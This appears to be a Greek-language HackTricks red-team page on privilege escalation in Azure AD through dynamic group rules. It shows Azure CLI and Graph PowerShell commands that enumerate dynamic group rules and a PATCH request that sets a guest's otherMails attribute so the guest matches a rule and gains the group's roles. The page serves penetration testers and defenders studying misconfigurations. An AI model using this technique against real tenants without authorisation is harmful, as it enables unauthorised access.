Az - Dynamic Groups Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Δυναμικές ομάδες είναι ομάδες που έχουν ένα σύνολο κανόνων διαμορφωμένων και όλοι οι χρήστες ή συσκευές που ταιριάζουν με τους κανόνες προστίθενται στην ομάδα. Κάθε φορά που μια ιδιότητα χρήστη ή συσκευής αλλάζει, οι δυναμικοί κανόνες επαναελέγχονται. Και όταν ένας νέος κανόνας δημιουργείται, όλες οι συσκευές και οι χρήστες ελέγχονται.

Οι δυναμικές ομάδες μπορούν να έχουν Azure RBAC roles ανατεθεί σε αυτές, αλλά δεν είναι δυνατό να προστεθούν AzureAD roles σε δυναμικές ομάδες.

Αυτή η λειτουργία απαιτεί άδεια Azure AD premium P1.

Privesc

Σημειώστε ότι από προεπιλογή οποιοσδήποτε χρήστης μπορεί να προσκαλέσει guests στο Azure AD, οπότε αν ένας κανόνας δυναμικής ομάδας δίνει δικαιώματα σε χρήστες βάσει ιδιοτήτων που μπορούν να οριστούν σε ένα νέο guest, είναι δυνατό να δημιουργηθεί ένας guest με αυτές τις ιδιότητες και να αποκτηθούν αυξημένα δικαιώματα. Επίσης, ένας guest μπορεί να διαχειριστεί το δικό του προφίλ και να αλλάξει αυτές τις ιδιότητες.

Λήψη ομάδων που επιτρέπουν Dynamic membership: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Εντοπισμός δυναμικών ομάδων

Λήψη των κανόνων μιας δυναμικής ομάδας:

Με Azure CLI:

az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table

Με PowerShell και Microsoft Graph SDK:

Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "Group.Read.All"

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes

# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState

$g | Select-Object DisplayName, GroupTypes, MembershipRule

# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule

Παράδειγμα

  • Rule example: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Περιγραφή κανόνα: Οποιοσδήποτε χρήστης Guest με δευτερεύον email που περιέχει τη συμβολοσειρά ‘security’ θα προστεθεί στην ομάδα

Για το email του χρήστη Guest, αποδεχτείτε την πρόσκληση και ελέγξτε τις τρέχουσες ρυθμίσεις του χρήστη αυτού στο https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Δυστυχώς, η σελίδα δεν επιτρέπει την τροποποίηση των τιμών των χαρακτηριστικών, οπότε πρέπει να χρησιμοποιήσουμε το API:

# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks